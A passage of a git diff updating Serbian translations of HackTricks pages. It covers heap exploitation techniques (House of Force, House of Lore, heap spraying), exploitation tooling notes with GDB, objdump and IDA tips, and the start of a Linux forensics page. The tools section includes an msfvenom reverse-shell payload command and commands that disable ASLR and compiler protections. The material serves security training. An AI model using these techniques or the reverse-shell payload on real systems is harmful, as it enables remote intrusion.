+U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti izmenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg preplavljivanja promenljive).
-Na taj način, mogli bismo da usmerimo ovaj pokazivač gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48.
+Tako bismo mogli učiniti da ovaj pokazivač pokazuje gde god hoćemo. Međutim, ne može svako mesto biti važno, veličina lažnog dela mora biti manja od av->max\_fast i specifično jednaka veličini zatraženoj u budućem pozivu malloc()+8. Zbog toga, ako znamo da nakon ovog ranjivog pokazivača pozivamo malloc(40), veličina lažnog dela mora biti jednaka 48.
-Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem.
+Ako, na primer, program traži od korisnika broj, mogli bismo uneti 48 i usmeriti pokazivač modifikovanog malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostane iza, kao da je zaglavlje size). Pored toga, adresa ptr-4+48 mora ispunjavati nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem.
-U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP-a. Ukoliko napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati kako EBP tako i EIP sa adresom koju želi.
+U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće se kao adresa adresa EBP-a. U slučaju da napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati i EBP i EIP sa adresom koju želi.
-Ovo mislim da je zato što kada se oslobodi free() čuvaće da u adresi koja pokazuje na EBP steka postoji deo tačne veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu.
+Mislim da je to zato što će kada ga oslobodi free() sačuvati da na adresi koja pokazuje na EBP steka postoji deo savršene veličine za novi malloc() koji se želi rezervisati, tako da mu dodeljuje tu adresu.
-**The House of Force**
+**Kuća sile**
Potrebno je:
-* Prekoračenje u delu koje omogućava prepisivanje wilderness-a
+* Preplavljivanje dela koje omogućava prepisivanje wilderness
* Poziv malloc() sa veličinom definisanom od strane korisnika
* Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
-Prvo što se radi je prepisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa.
+Prvo što se radi je prepisivanje size dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaka zahtevana memorija dovoljno velika biti obrađena u \_int\_malloc() bez potrebe za proširenjem heap-a.
-Drugo je promena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se postaviti \&EIP - 8.
+Drugo je izmeniti av->top da pokazuje na područje memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti \&EIP - 8.
-Mora se prepisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:
+Moramo prepisati av->top da pokazuje na područje memorije pod kontrolom napadača:
victim = av->top;
-remainder = chunck\_at\_offset(victim, nb);
+remainder = chunk\_at\_offset(victim, nb);
av->top = remainder;
-Victim uzima vrednost adrese trenutnog dela wilderness-a (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom malloc-u kako bi av->top pokazivao na $EIP-8 za sledeći malloc():
+Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus količina bajtova zatraženih od malloc(). Tako da ako \&EIP-8 bude u 0xbffff224 i av->top sadrži 0x080c2788, tada će količina koju moramo rezervisati u kontrolisanom malloc-u da av->top pokazuje na $EIP-8 za sledeći malloc() biti:
0xbffff224 - 0x080c2788 = 3086207644.
-Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
+Tako će se sačuvati u av->top izmenjena vrednost i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
-Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, veličina će biti tačno u polju EBP steka.
+Važno je znati da je size novog dela wilderness veći od zahteva postavljenog za poslednji malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, size će biti tačno u polju EBP steka.
-**The House of Lore**
+**Kuća legende**
**Korupcija SmallBin**
-Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen neće odmah biti ubačen u svoj bin već će ostati u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, biće vraćen, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins će biti ubačen u odgovarajući bin.
+Oslobođeni delovi se unose u bin u zavisnosti od njihove veličine. Ali pre nego što se unesu, čuvaju se u unsorted bins. Kada se deo oslobodi, ne unosi se odmah u svoj bin, već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobođeni može poslužiti, vraća mu se, ali ako se rezerviše veći, oslobođeni deo u unsorted bins se stavlja u svoj odgovarajući bin.
-Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max\_fast (obično 72) i manji od MIN\_LARGE\_SIZE (512).
-Ako u binu postoji komad odgovarajuće veličine zahtevanog, vraća se taj nakon što se odvoji:
+Da bi se došlo do ranjivog koda, zahtev za memoriju mora biti veći od av->max\_fast (72 obično) i manji od MIN\_LARGE\_SIZE (512).
-bck = victim->bk; Pokazuje na prethodni komad, jedina informacija koju možemo promeniti.
+Ako u binu postoji deo odgovarajuće veličine za ono što se traži, vraća se taj nakon što se odveže:
-bin->bk = bck; Pretposlednji komad postaje poslednji, u slučaju da bck pokazuje na stack sledećeg rezervisanog komada, dodeliće mu se ova adresa.
+bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo izmeniti.
-bck->fd = bin; Lista se zatvara tako što ovaj pokazuje na bin
+bin->bk = bck; Pretposlednji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu će se dati ova adresa.
+
+bck->fd = bin; Lista se zatvara tako da ovaj pokazuje na bin.
Potrebno je:
-Da se rezervišu dva malloc-a, tako da se prvom može izazvati prelivanje nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog komada pre prelivanja)
+Da se rezervišu dva malloc, tako da se prvom može napraviti overflow nakon što je drugi oslobođen i unet u svoj bin (tj. da je rezervisan malloc veći od drugog dela pre nego što se napravi overflow).
-Da malloc rezervisan za koji je odabrana adresa od strane napadača bude kontrolisan od strane napadača.
+Da malloc rezervisan kojem se daje adresa izabrana od strane napadača bude pod kontrolom napadača.
-Cilj je sledeći, ako možemo izazvati prelivanje na heap-u koji ima ispod sebe komad već oslobođen i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i ovaj komad postane prvi na listi bin i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji komad liste (sledeći koji nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Zbog toga, ako se ponovo rezerviše drugi komad i napadač ima dozvole na njemu, dobiće komad na željenoj poziciji i moći će da piše u njega.
+Cilj je sledeći, ako možemo napraviti overflow na heap koji ispod ima već oslobođeni deo i u svom binu, možemo izmeniti njegov pokazivač bk. Ako izmenimo njegov pokazivač bk i ovaj deo postane prvi u listi binova i rezerviše se, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo stavili (na stek ili GOT na primer). Tako da ako se ponovo rezerviše drugi deo i napadač ima dozvole za njega, dobiće deo na željenoj poziciji i moći će da piše u nju.
-Nakon što se modifikovani komad oslobodi, potrebno je rezervisati komad veći od oslobođenog, tako da modifikovani komad izađe iz unsorted binova i ubaci se u svoj bin.
+Nakon oslobađanja modifikovanog dela, potrebno je rezervisati deo veći od oslobođenog, tako da će modifikovani deo izaći iz unsorted bins i uneti se u svoj bin.
-Kada se nađe u svom binu, vreme je da se promeni njegov pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo.
+Jednom kada je u svom binu, vreme je da mu modifikujemo pokazivač bk putem overflow-a da pokazuje na adresu koju želimo da prepišemo.
-Tako bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći komad na lažnoj adresi. Zatim će biti dat komad koji nas zanima.
+Tako će bin čekati red da se pozove malloc() dovoljno puta da se ponovo iskoristi modifikovani bin i prevari bin tako što će mu reći da je sledeći deo na lažnoj adresi. A zatim će se dati deo koji nas zanima.
-Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog komada, rezervacija komada koji će se modifikovati, oslobođenje ovog komada, rezervacija komada većeg od onog koji će se modifikovati, modifikacija komada (ranjivost), rezervacija komada iste veličine kao ranjivi i rezervacija drugog komada iste veličine koji će pokazivati na odabranu adresu.
+Da bi se ranjivost izvršila što pre, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobađanje ovog dela, rezervacija dela veće veličine koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjivi i rezervacija drugog dela iste veličine i ovaj će biti onaj koji pokazuje na izabranu adresu.
-Za zaštitu od ovog napada koristi se tipična provera da komad "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog komada pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo da bude sposoban da na neki način (verovatno preko stacka) upiše u odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi komad.
+Da bi se zaštitio od ovog napada, korišćena je tipična provera da deo “nije” lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog dela koji se pokazuje na steku pokazuje na victim. Da bi se prešla ova zaštita, napadač bi trebao biti u mogućnosti da na neki način (verovatno putem steka) napiše na odgovarajuću adresu adresu victim. Tako da izgleda kao pravi deo.
**Korupcija LargeBin**
-Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani komadi moraju biti veći od 512.
+Potrebni su isti zahtevi kao ranije i još neki, pored toga, rezervisani delovi moraju biti veći od 512.
-Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu modifikovanog komada tako da taj size - nb bude < MINSIZE.
+Napad je kao i prethodni, tj. mora se modifikovati pokazivač bk i potrebni su svi ti pozivi na malloc(), ali pored toga, treba modifikovati size modifikovanog dela tako da taj size - nb bude < MINSIZE.
-Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned)
+Na primer, postaviće da je size 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje unsigned)
-Takođe je uveden zakrpa da bi se to učinilo još komplikovanijim.
+Pored toga, uvedena je zakrpa da bi se to dodatno otežalo.
-**Raspršivanje Heap-a**
+**Heap Spraying**
-Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće se tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li je neki pokazivač prekoračen i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.
+Osnovno se sastoji od rezervisanja što je moguće više memorije za heap i punjenja ovih sa jastučićem nops završenim shellcode-om. Pored toga, kao jastučić se koristi 0x0c. Tako da će se pokušati preskočiti na adresu 0x0c0c0c0c, i tako ako se prepiše neka adresa na koju će se pozvati sa ovim jastučićem, preskočiće se tamo. Osnovna taktika je rezervisati što je moguće više da vidimo da li se prepisuje neki pokazivač i preskočiti na 0x0c0c0c0c očekujući da tamo budu nops.
-**Feng Shui Heap-a**
+**Heap Feng Shui**
-Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se ostavili rezervisani komadi između slobodnih komada. Bafer za prelivanje će se nalaziti u jednom od tih komada.
+Sastoji se od rezervacija i oslobađanja kako bi se semenirala memorija tako da ostanu rezervisani delovi između slobodnih delova. Buffer koji se preplavljuje će se nalaziti u jednom od jaja.
-**objdump -d izvršiv** —> Disas funkcije\
+**objdump -d izvršni** —> Disas funkcije\
**objdump -d ./PROGRAMA | grep FUNKCIJA** —> Dobijanje adrese funkcije\
-**objdump -d -Mintel ./shellcodeout** —> Da biste videli da li je zaista naš shellcode i izvukli OpCodes\
-**objdump -t ./exec | grep varBss** —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija\
-**objdump -TR ./exec | grep exit(func lib)** —> Da biste izvukli adresu funkcija biblioteka (GOT)\
+**objdump -d -Mintel ./shellcodeout** —> Da se vidi da je to zaista naš shellcode i izvuče OpCodes\
+**objdump -t ./exec | grep varBss** —> Tabela simbola, da se izvuče adresa varijabli i funkcija\
+**objdump -TR ./exec | grep exit(func lib)** —> Da se izvuče adresa funkcija biblioteka (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
-**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koja će biti prepisana u GOT\
-**objdump -D ./exec** —> Disas sve do ulaza plt\
+**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koju treba prepisati u GOT\
+**objdump -D ./exec** —> Disas SVE do ulaza u plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info o funkciji u gdb
-## Interesantni kursevi
+## Zanimljivi kursevi
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
@@ -552,16 +542,17 @@ Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se o
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF-u** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md
index a6af9fd70..b237d438b 100644
--- a/exploiting/tools/README.md
+++ b/exploiting/tools/README.md
@@ -1,18 +1,19 @@
-# Alati za iskorišćavanje
+# Alati za Eksploataciju
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Obuka GCP Red Team Ekspert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
## Metasploit
```
@@ -22,13 +23,13 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-### Shellkodovi
+### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
-### Instalacija
+### Instaliraj
```
apt-get install gdb
```
@@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-### Trikovi
+### Tricks
#### GDB iste adrese
-Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postaviti da GDB ima iste adrese tako što ćete uraditi sledeće:
+Dok debagujete, GDB će imati **malo drugačije adrese od onih koje koristi binarni fajl kada se izvršava.** Možete učiniti da GDB ima iste adrese tako što ćete:
* `unset env LINES`
* `unset env COLUMNS`
-* `set env _=` _Stavite apsolutnu putanju do binarnog fajla_
+* `set env _=` _Stavite apsolutnu putanju do binarnog fajla_
* Iskoristite binarni fajl koristeći istu apsolutnu putanju
-* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla
+* `PWD` i `OLDPWD` moraju biti isti kada koristite GDB i kada iskorišćavate binarni fajl
#### Backtrace za pronalaženje pozvanih funkcija
-Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos**.\
-Ovaj tok možete lako identifikovati **pokretanjem** binarnog fajla sa **gdb** sve dok vas ne zatraže unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da vidite pozvane funkcije:
+Kada imate **staticki povezani binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati da bi, na primer, zatražio korisnički unos.**\
+Možete lako identifikovati ovaj tok tako što ćete **pokrenuti** binarni fajl sa **gdb** dok ne budete zatraženi za unos. Zatim, zaustavite ga sa **CTRL+C** i koristite **`bt`** (**backtrace**) komandu da vidite pozvane funkcije:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -150,56 +151,56 @@ gef➤ bt
```
### GDB server
-`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)
+`gdbserver --multi 0.0.0.0:23947` (u IDA morate uneti apsolutnu putanju izvršne datoteke na Linux mašini i na Windows mašini)
## Ghidra
-### Pronalaženje offseta steka
+### Pronađi offset steka
-**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
-Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\
-_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
+**Ghidra** je veoma korisna za pronalaženje **offset-a** za **buffer overflow zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
+Na primer, u primeru ispod, buffer flow u `local_bc` ukazuje da vam je potreban offset od `0xbc`. Štaviše, ako je `local_10` kanarska kolačić, to ukazuje da da biste ga prepisali iz `local_bc` postoji offset od `0xac`.\
+_Pamti da prvih 0x08 odakle se čuva RIP pripada RBP-u._
![](<../../.gitbook/assets/image (616).png>)
## GCC
-**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
+**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliraj bez zaštita\
**-o** --> Izlaz\
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
-**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu
+**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Da deaktivirate ASLR u linuxu
-**Za kompajliranje shell koda:**\
+**Da kompajlirate shellcode:**\
**nasm -f elf assembly.asm** --> vraća ".o"\
-**ld assembly.o -o shellcodeout** --> Izvršno
+**ld assembly.o -o shellcodeout** --> Izvršna datoteka
## Objdump
-**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
+**-d** --> **Disasembliraj izvršne** sekcije (vidi opkode kompajliranog shellcode-a, pronađi ROP Gadgets, pronađi adresu funkcije...)\
**-Mintel** --> **Intel** sintaksa\
-**-t** --> **Tabela simbola**\
-**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
+**-t** --> **Tabela** simbola\
+**-D** --> **Disasembliraj sve** (adresa statičke promenljive)\
**-s -j .dtors** --> dtors sekcija\
**-s -j .got** --> got sekcija\
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
**-TR** --> **Relokacije**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
-**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa statičke promenljive (one su smeštene u DATA sekciji).
+**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa ili statičke promenljive (one se čuvaju u DATA sekciji).
## Core dumps
-1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
+1. Pokrenite `ulimit -c unlimited` pre nego što pokrenete moj program
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
## Više
-**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Petlja za proveru da li se adresa često menja\
+**ldd izvršna datoteka | grep libc.so.6** --> Adresa (ako je ASLR, onda se ovo menja svaki put)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Petlja da vidite da li se adresa mnogo menja\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
-**strace executable** --> Funkcije pozvane od strane izvršnog fajla\
+**strace izvršna datoteka** --> Funkcije koje poziva izvršna datoteka\
**rabin2 -i ejecutable -->** Adresa svih funkcija
## **Inmunity debugger**
@@ -209,26 +210,27 @@ _Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
```
## IDA
-### Debagovanje na udaljenom Linuxu
+### Debugging u udaljenom linuxu
-Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
+Unutar IDA fascikle možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar linux servera i pokrenite je unutar fascikle koja sadrži binarnu datoteku:
```
./linux_server64 -Ppass
```
-Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...:
+Zatim, konfigurišite debager: Debugger (linux remote) --> Opcije procesa...:
![](<../../.gitbook/assets/image (101).png>)
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index 17a54345c..c6a14ed07 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# Forenzika na Linuxu
+# Linux Forensics
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
